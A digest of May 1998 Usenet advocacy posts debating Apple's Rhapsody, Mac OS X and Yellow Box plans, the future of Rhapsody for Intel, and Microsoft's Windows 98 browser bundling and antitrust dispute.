>MacOS X will not run on Intel. Supposedly apps created by using "Yellow
>Box" APIs can be compiled to run on MacOS X, MacOS, and Intel. BSD apps
>should also run on both.
Not quite. YB will only run on Rhapsody and MacOS X. No news about a MacOS
9 in the works, so I think that they are waiting to see how many people
upgrade immediately to X before they start working on 9.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
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Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <24059806.0912@This.Site.com>
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From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 24 May 1998 19:09:45 GMT
Organization: P & L Systems
Message-ID: <6k9r9p$d5n$3@ironhorse.plsys.co.uk>
References: <895179379.806734@kelp.mbay.net> <B180C661-12F863@207.217.155.114>
<6jg26g$89f$1@crib.bevc.blacksburg.va.us> <ericb-1505981808160001@132.236.171.104>
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Cc: ericb@pobox.com
In <ericb-1505981808160001@132.236.171.104> Eric Bennett wrote:
> In article <6jg26g$89f$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
>
> > > Someone starting a new app should definitely consider YB _when MacOSX
> > > ships_. Right now, however, if you start a new app with hopes of
bringing
> > > it to market by fall, you might be taking a significant risk writing to
YB.
> >
> > Why is that? YB will be shipping in the fall.
>
> When it ships is not what's relevant as far as software sales for programs
> using YB. What's important is when it gets into end users' hands in mass
> quantities, which probably won't happen until OS X ships (and trying to
> figure out when that will be is risky).
>
Your point...?
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: 24 May 1998 19:18:56 GMT
Organization: P & L Systems
Message-ID: <6k9rr0$d5n$4@ironhorse.plsys.co.uk>
References: <6k1pr7$sr4$1@ironhorse.plsys.co.uk> <B189DD86-EABF@206.165.43.34>
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Cc: english@primenet.com
In <B189DD86-EABF@206.165.43.34> "Lawson English" wrote:
> mmalcolm crawford <malcolm@plsys.co.uk> said:
> Lawson English <english@primenet.com> said:
>
> >> Which YOU want Apple to abandon by abandoning support for 68K Macs.
> >>
> >And these folks are contributing to Apple's bottom line how, exactly...?
>
> By increasing the number of macOS boxes that developers can target.
>
If someone is using a four year old+ machine, how likely is is that they are
buying up-to-date software? And how likely is it that their sysyem will be
able to run it.
Should I be wailing at Apple because my SE won't run Rhapsody?
> *Apple* brags about this number to developers (and includes all active 68K
> boxes in their figures) so they must think that total numbers of Macs are
> important to developers.
>
They clearly believe some people are more gullible than others...
> >If I had a 386 PC running Windows 3.11 I wouldn't expect much in the way
> >of support.
>
> Maybe not, but Apple and Mac advocates like to brag about how long-lived
> Macs are. Take that away, and the marketshare of the Mac is slashed by 50%.
>
In what way is it slashed by 50%? Those people are still there using old
machines. But I suspect most developers are not interested in who's using
old machines, they're interested in who's using and *buying* new stuff
(including software).
mmalc.
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Sun, 24 May 1998 19:35:45 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35687691.A09FF6CC@nstar.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <3565BC52.B03EB5FC@nstar.net> <6k4sku$9jj$1@crib.bevc.blacksburg.va.us> <3566448F.2722F9E0@nstar.net> <6k5ij2$a4l$1@crib.bevc.blacksburg.va.us> <35666214.339DA7D@nstar.net> <slrn6mcq8v.7f0.jason@jhste1.dyn.ml.org> <3566CC56.F7135A68@nstar.net> <slrn6me8nd.9ue.jason@jhste1.dyn.ml.org>
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NNTP-Posting-Date: 24 May 1998 19:40:36 GMT
Jason S. wrote:
>
> Michael J. Peck posted the following to comp.sys.mac.advocacy:
>
> >> You do know that vi is not the only editor available for UNIX, of
> >> course. Why not give them NEdit? - it's really nice, and would work
> >> well for people who can't handle vi (and NEdit's much less confusing
> >> than emacs).
>
> >I've used NEdit, and Thot, and XCoral, and...Microsoft Word. I'm sorry,
> >there's no comparison.
>
> Well, of course not - you're comparing text editors to a word processor.
> Would you want to write code in a word processor? Would you want to
> format documents in a text editor?
Hold the phone; are you drawing this conversation into a discussion of
Unix text editors, or are you trying to suggest an alternative to
Microsoft Word? I can't tell what your purpose is.
MJP
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Sun, 24 May 1998 07:57:26 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35681936.B375F977@milestonerdl.com>
References: <joe.ragosta-2105980831500001@wil111.dol.net> <B189AF72-1DB71@206.165.43.125> <joe.ragosta-2105981340080001@wil125.dol.net> <see-below-2105981612370001@209.24.241.47> <joe.ragosta-2105982051550001@elk126.dol.net> <see-below-2105981906100001@209.24.241.47> <356564CF.B5BC821A@milestonerdl.com> <nagleEtFAEt.D2H@netcom.com>
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John Nagle wrote:
> m rassbach <mark@milestonerdl.com> writes:
> >What is one of the big markets for motorola? Communications, was radios, now
> >phones. What drives phone switches? Microprocessors. There is NO reason why
> >Motorola couldn't make a design that served BOTH the 'embedded' and the
> >'general' market.
>
> Embedded system CPUs have prices from US$0.50 to maybe $50, tops.
> The under $10 range has most of the embedded market. On the other hand,
> CPUs for desktop systems are running from $200 up to over $1000.
> The embedded parts typically are much smaller and cheaper, to meet that
> cost structure.
Anytime you have a processor doing one 'task' and 'one' task only....it's embedded.
Would you consider the processor in a Cisco 7500 embedded or general?
How about the 68020 on the DPT card in my hand?
Or the Intel Pentium on an Ascend Max?
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: WHAT THE HELL IS UP WITH RHAPSODY FOR INTEL????
Date: 24 May 1998 20:18:40 GMT
Message-ID: <6k9vb0$kgj$1@newsfep4.sprintmail.com>
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Cc: jordan@apple.com,dsellers@maccentral.com,rhapsody-talk@omnigroup.com
The following was on maccentral( written by dsellers@maccentral.com) :
<begin quote>
In other news, previous reports that "Rhapsody for PowerPC" and "Rhapsody for
Intel" will eventually be phased out may be wrong. During a Monday afternoon
WWDC session, Bertrand Serlet, Apple's VP of platform technologies, said
Apple will keep developing Rhapsody for Intel. Why? Mainly because the best
way to ensure that the Yellow Box for Windows (which is crucial to the Yellow
Box's "write once, run anywhere" promise) works well is to do the Yellow Box
for Rhapsody for Intel.
Serlet also said that Apple still hopes to make the Yellow Box runtime for
Windows free and has been negotiating to do so. In the meantime, Apple has
royalty and administrative costs, so they are making the Yellow Box runtime
for Windows available at their own cost (considerably less than the previous
licensing fees for OpenStep for Windows).
<end quote>
So jordan J. Dea-Mattson, senior partnership & technology solutions manager,
Apple Developer Relations says their will be no rhapsody for intel after cr1,
and this vice president of platform technologies says their WILL be rhapsody
for intel after cr1?!??!
Am I the only one to find this VERY CONFUSING??
--
Running on Openstep 4.2, the best os in the world, and about to get better!
MACHEAD SEEKS qa work!!, email me for resume
NeXTMail and MIME OK!
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: APPLE is forcing best os in the world into obscurity!!
Date: Sun, 24 May 1998 20:16:25 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35688019.DC2426BD@nstar.net>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <joe.ragosta-1905982053010001@elk125.dol.net> <6jtlb0$dc7$3@nntp2.ba.best.com> <199805212152591422764@[193.216.37.99]> <6k8oqe$bq$2@news.orbitworld.net>
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NNTP-Posting-Date: 24 May 1998 20:21:15 GMT
Gary Hendershot wrote:
> This has not been talked about very much in the press, but word of
> this Micro$oft project slipped out over a year ago and $un responded
> quickly saying that it was also working on such a project and demanded
> that M$ stop work immediately on this new implementation of NFS.
> M$ refused. That's about all I recall.
Maybe you're referring to Sun's WebNFS and Microsoft's CIFS?
MJP
From: LShaping <NoSpam@flash.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - Win98 is full of IE.
Date: Sun, 24 May 1998 15:26:31 -0500
Organization: Flashnet Communications, http://www.flash.net
Message-ID: <35688277.23AF584F@flash.net>
References: <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k883d$okb$4@strato.ultra.net> <Josh.McKee-2405980959090001@pm3a10.rmac.net> <6k9gh7$5lk$1@nargun.cc.uq.edu.au>
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Christopher Smith wrote:
> Joshua T. McKee wrote in message ...
> >In article <6k883d$okb$4@strato.ultra.net>, "John Saunders"
> ><jws@jws.ultranet.com> wrote:
> >
> >> Joshua T. McKee wrote in message ...
> >> I have seen no reason to believe that Microsoft prevents vendors from
> >> configuring Navigator as the default browser, depending on what you mean
> by
> >> "default browser". If you mean "the program that runs when I double-click
> a
> >> .HTML file", then I see no reason at all why a vendor can't make that
> >> change. They are allowed to install whatever additional products they
> want,
> >> and that normally creates or changes file associations. I am unable to
> >> guess what else you might mean by "default browser", so please elaborate.
> >
> >
> >Why can't the vendor alter the bootup sequence so that IE isn't anywhere
> >to be found? Even the initial bootup sequence.
>
> Because they are contractually obliged not to. How do you think Apple would
> react if CompUSA sold all their Macs so that they booted straight to VPC
> running Windows 95 ? I see no huge problem with Microsoft setting
> restrictions on how their OS boots on a machine the *first* time (note that
> the manufacturer can set the machine to do whatever it wants after that
> first boot).
>
> >
> >Josh
Isn't browsers the subject?
LShaping.
From: LShaping <NoSpam@flash.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 24 May 1998 15:35:47 -0500
Organization: Flashnet Communications, http://www.flash.net
Message-ID: <356884A3.8FD3F840@flash.net>
References: <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k9j23$s5b$1@nnrp1.dejanews.com>
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<SNIP>
> You, and the DOJ are probably correct
<SNIP>
David PetticordOf course we are.
You keep forgetting that the DoJ isn't the major player. It's the (at least)
twenty state attorneys general, the DoJ, and a lot of businesses. Even if you
can't understand the rest, you could at least remember this.
LShaping.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 24 May 1998 20:26:12 GMT
Organization: P & L Systems
Message-ID: <6k9vp4$d5n$6@ironhorse.plsys.co.uk>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1705981603400001@132.236.171.104>
<joe.ragosta-1805980747570001@wil100.dol.net> <ericb-1805981357420001@132.236.171.104>
<6jq20b$khp@newsb.netnews.att.com> <ericb-2005981940250001@132.236.171.104>
<35642793.C2A7D977@milestonerdl.com> <6k226v$6g3$1@news.digifix.com>
<joe.ragosta-2105981725040001@wil97.dol.net> <35655B67.852C81BD@milestonerdl.com>
<joe.ragosta-2305980710500001@elk89.dol.net> <MPG.fd0cff1eba9530f98973d@news.supernews.com>
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Cc: don.brown@cesoft.com
In <MPG.fd0cff1eba9530f98973d@news.supernews.com> Donald Brown wrote:
> In the normal terminology, when we've talked about cross-platform Mac and
> Windows, it presumes that it means it runs under MacOS 7.x or 8.x or
> something mainstream shipping now.
>
In my book, multi-platform means "runs on multiple platforms".
YB runs on Windows{95,NT,allegedly98}, OPENSTEP/Mach, RDR1 and DR2, and
portions of it run on HP/UX and Solaris. That seems fairly cross-platform to
me.
Best wishes,
mmalc.
From: markeaton@mindspring.canned-meat-filter.com (Mark Eaton)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody, OS X...huh?
Date: Sun, 24 May 1998 14:43:25 -0700
Organization: MindSpring Enterprises
Message-ID: <markeaton-2405981443260001@user-38ld6eu.dialup.mindspring.com>
References: <356573e8.5831486@nntp.atl.mindspring.com> <rkt1-2305981407360001@cu-dialup-1005.cit.cornell.edu> <see-below-2305981551320001@209.24.241.7> <6k8hvm$d4k$1@mamenchi.zrz.TU-Berlin.DE> <6k8ln0$c3r$1@crib.bevc.blacksburg.va.us>
In article <6k8ln0$c3r$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> In article <6k8hvm$d4k$1@mamenchi.zrz.TU-Berlin.DE>, Axel Habermann
<kiwi@saljut.fb10.tu-berlin.de> wrote:
>
> > - The tear off menus suck, because you can only tear off the first level.
>
> You're joking, right?? You mean all this time they've been telling us
> they're going to bring tear-off menus back, and then when they do, they
> cripple them beyond use??
In Rhapsody as of DR2 all menus, even sub-menus, can be torn off. And even
if they were restricted to just top-level menus saying 'crippled beyond
use' seems a bit of an overreaction.
-mark
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody, OS X...huh?
Date: 24 May 1998 18:05:04 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6ka5ig$h6q$1@crib.bevc.blacksburg.va.us>
References: <356573e8.5831486@nntp.atl.mindspring.com> <6k8hvm$d4k$1@mamenchi.zrz.TU-Berlin.DE> <6k8ln0$c3r$1@crib.bevc.blacksburg.va.us> <markeaton-2405981443260001@user-38ld6eu.dialup.mindspring.com>
In article <markeaton-2405981443260001@user-38ld6eu.dialup.mindspring.com>, markeaton@mindspring.canned-meat-filter.com (Mark Eaton) wrote:
> In article <6k8ln0$c3r$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> > You're joking, right?? You mean all this time they've been telling us
> > they're going to bring tear-off menus back, and then when they do, they
> > cripple them beyond use??
> In Rhapsody as of DR2 all menus, even sub-menus, can be torn off.
That's a relief.
> And even
> if they were restricted to just top-level menus saying 'crippled beyond
> use' seems a bit of an overreaction.
I don't think so. The main use of tear-offs is to keep commonly-used
SUBmenus easily available, so you don't have to repeatedly pull down a
succession of menus and submenus.
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: WHAT THE HELL IS UP WITH RHAPSODY FOR INTEL????
Date: Sun, 24 May 1998 16:10:53 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35688CDD.5C6BC464@milestonerdl.com>
References: <6k9vb0$kgj$1@newsfep4.sprintmail.com>
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macghod@concentric.net wrote:
> So jordan J. Dea-Mattson, senior partnership & technology solutions manager,
> Apple Developer Relations says their will be no rhapsody for intel after cr1,
> and this vice president of platform technologies says their WILL be rhapsody
> for intel after cr1?!??!
>
> Am I the only one to find this VERY CONFUSING??
The people at StepWise are claiming they have it ALL figured out.
(And yes, you are right MacGhod. But, Apple seems unable of creating a clear
message.)
From: dpetticord@hotmail.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 24 May 1998 21:52:38 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ka4r6$ku2$1@nnrp1.dejanews.com>
References: <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k9j23$s5b$1@nnrp1.dejanews.com> <Josh.McKee-2405981307100001@pm3a6.rmac.net>
In article <Josh.McKee-2405981307100001@pm3a6.rmac.net>,
Josh.McKee@cbns.com (Joshua T. McKee) wrote:
>
> In article <6k9j23$s5b$1@nnrp1.dejanews.com>, dpetticord@hotmail.com wrote:
>
> > In article <Josh.McKee-2305982147510001@pm3a18.rmac.net>,
> > > Let's say for a moment that the IE intergration in Windows 98 is a
> > > legitimate OS feature. Furthermore, let's also say that nothing
prevents
> > > the user from not using IE and using Netscape. Could we say that these
> > > two statements are what a number of pro-Microsoft advocates are saying?
> > >
> >
> > Let's say you may have just conceded the anti-trust case to Microsoft.
> > (explaination to follow)
>
> I did not conceed the point at all. I was saying "Let's assume for the
> sake of arguement".
And "for the sake of argument" I gave you a reasonable reply. Why did you
cut it short and sign off?
If you remember, I was pointing out that open-minded people might see this
as more than a black and white issue. In fact, didn't you just say that in
a recent post?
David Petticord
Complete Networks, Inc.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: tsivertsen@mail.c2i.net (Thomas Sivertsen)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: APPLE is forcing best os in the world into obscurity!!
Date: Mon, 25 May 1998 00:43:37 +0200
Organization: Smurfetryne
Message-ID: <19980525004337570173@mp-40-182.daxnet.no>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <joe.ragosta-1905982053010001@elk125.dol.net> <6jtlb0$dc7$3@nntp2.ba.best.com> <199805212152591422764@[193.216.37.99]> <EtC00x.9EG@basil.icce.dev.rug.null.nl>
Tom Hageman <tom@basil.icce.dev.rug.null.nl> wrote:
> tsivertsen@mail.c2i.net (Thomas Sivertsen) wrote: > Read the above... BTW;
> telnet is "built-in" on NT...
>
> BWAAAA HA HA HA HA...
>
> (Sorry 'bout that. I just had the "pleasure" of having to work with NT's
> incredibly primitive telnet client. Broken vt100 emulation. It doesn't
> even [blablabla]
[SNIP of comments on telnet quality on NT]
I was actually just refering to the fact that there is some sort of
telnet suppllied with NT, out-of-the-box, not it`s poor quality (which
is consistent with the rest of NT... ;-)).
>
> Anyway I feel a lot better now since I wheeled in my OPENSTEP box running
> Terminal.app (well, Stuart actually;-), thank you very much.
Good choice.
> > There are also many NFS implementations on NT (even free I think).
> > OpenNT is no solution if you want real UNIX, just if you want some sort
> > of compatibility and you are willing to compromise. It`s a migration
> > tool, PERIOD.
> >
> > There are better alternatives than telnet, btw. Check out NSHosting...
>
> But don't wait too long, since Apple intends to kill NSHosting in MacOS
> X...
>
It`s there now, and Rhapsody 1.0 (official name, btw) will be usable for
some time in the future(I intend to, anyway). It might swith names to
Mac OS X/intel, as well. At least, it`s possible if Apple leave out
Carbon (even though Carbon could be ported to Intel as well).
Sure can hope... ;-)
Cheers, Thomas Sivertsen
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 24 May 1998 18:44:52 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-2405981844520001@132.236.171.104>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6js61j$g18$1@inconnu.isu.edu> <6jtgid$vp6$5@ligarius.ultra.net> <Josh.McKee-2005981950070001@pm3a17.rmac.net> <6k1862$vn6$3@strato.ultra.net> <Josh.McKee-2105981832300001@pm3a23.rmac.net> <6k2sok$l4r$3@strato.ultra.net> <Josh.McKee-2205981814520001@pm3a24.rmac.net> <6k6rm4$nkn$3@ligarius.ultra.net> <see-below-2305981537470001@209.24.241.7> <6k7oji$hqc$3@strato.ultra.net> <Josh.McKee-2405981004530001@pm3a10.rmac.net>
In article <Josh.McKee-2405981004530001@pm3a10.rmac.net>,
Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> Geez, I don't even know why I'm responding to this. It is so blatently
> obvious that Microsoft, as the developer of the OS, holds a huge advantage
> over it's competitiors when it comes to intergrated applications into the
> OS.
We could say, hey, we're not publishing any APIs to our operating system.
Or we could pick five guys and tell them what's in this operating system
-- we're not going to tell other people.
- Steve Ballmer
For more on Microsoft's use of APIs that are not documented to everyone,
see Schulman's book "Undocumented Windows : A Programmer's Guide to
Reserved Microsoft Windows API Functions" or the following URL:
http://www.infoworld.com/cgi-bin/displayNew.pl?/petrel/np091696.htm
--
Eric Bennett (www.pobox.com/~ericb), Cornell University
The right of every man to work, labor, and produce . . . on equal terms [is]
industrial liberty and lies at the foundation of the equality of all rights
and priviliges.
- Senator John Sherman
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 24 May 1998 18:48:57 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-2405981848570001@132.236.171.104>
References: <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net>
In article <6k6tda$omk$1@ligarius.ultra.net>, "John Saunders"
<jws@jws.ultranet.com> wrote:
> >Microsoft acknowledges that the OS group modifies the OS specifically to
> >help the MS apps group, and vice versa. This means that, inherently,
> >Microsoft application programmers have access to information about and
> >interfaces into the operating system that other application programmers
> >do not.
>
> References, please? When and where did MS admit this?
For starters, try here:
http://www.around.com/microsoft.html
=====
In the 1980's, Microsoft executives often spoke of a "Chinese wall"
between the systems group, responsible for DOS and Windows, and the
applications group, responsible for the programs that ran in those
operating environments. Ballmer himself once said there was "a very clean
separation" -- "It's like the separation of church and state." Competitors
were dubious, knowing that all neurons at Microsoft led to Bill Gates;
these days Microsoft executives take a different tack. They deny that the
concept of a Chinese wall ever existed. They admit that their own
developers sometimes get an edge in knowing how to take advantage of new
Windows features before the knowledge spreads to competitors.
. . . .
Is Windows an open standard? Yes -- when and only when that suits
Microsoft. "We could say, hey, we're not publishing any A.P.I.'s to our
operating system," Ballmer says. "Or we could pick five guys and tell them
what's in this operating system -- we're not going to tell other people."
=====
--
Eric Bennett (www.pobox.com/~ericb), Cornell University
The right of every man to work, labor, and produce . . . on equal terms [is]
industrial liberty and lies at the foundation of the equality of all rights
and priviliges.
- Senator John Sherman
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 24 May 1998 18:51:44 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-2405981851440001@132.236.171.104>
References: <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k883d$okb$4@strato.ultra.net> <Josh.McKee-2405980959090001@pm3a10.rmac.net> <6k9gh7$5lk$1@nargun.cc.uq.edu.au>
In article <6k9gh7$5lk$1@nargun.cc.uq.edu.au>, "Christopher Smith"
<drsmithy@usa.net> wrote:
> Because they are contractually obliged not to. How do you think Apple would
> react if CompUSA sold all their Macs so that they booted straight to VPC
> running Windows 95 ? I see no huge problem with Microsoft setting
> restrictions on how their OS boots on a machine the *first* time (note that
> the manufacturer can set the machine to do whatever it wants after that
> first boot).
How can they do that? Microsoft forbids them from running any startup
processes during the first boot. Without the ability to do that, they
cannot possibly cause Windows to boot differently the second or third
time.
--
Eric Bennett (www.pobox.com/~ericb), Cornell University
The right of every man to work, labor, and produce . . . on equal terms [is]
industrial liberty and lies at the foundation of the equality of all rights
and priviliges.
- Senator John Sherman
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 24 May 1998 18:53:24 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-2405981853240001@132.236.171.104>
References: <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k8dee$a9h$1@nargun.cc.uq.edu.au>
In article <6k8dee$a9h$1@nargun.cc.uq.edu.au>, "Christopher Smith"
<drsmithy@usa.net> wrote:
> They can set Netscape to the default browser, but they cannot change the
> default startup procedure - I would consider this a valid "condition" no
> matter *what* the OS was. I wonder what Apple would say if some of its VARs
> (not that there are many left) modifed all their Macs so the default boot
> was to Win95 running under VPC instead of OS 8.
Apple is certainly less restrictive than Microsoft. Microsoft won't let
vendors change the look of the OS on startup. But all the Power Computing
clones I've seen have a definite Power Computing look to them.
--
Eric Bennett (www.pobox.com/~ericb), Cornell University
The right of every man to work, labor, and produce . . . on equal terms [is]
industrial liberty and lies at the foundation of the equality of all rights
and priviliges.
- Senator John Sherman
Sender: darin@cn1.connectnet.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
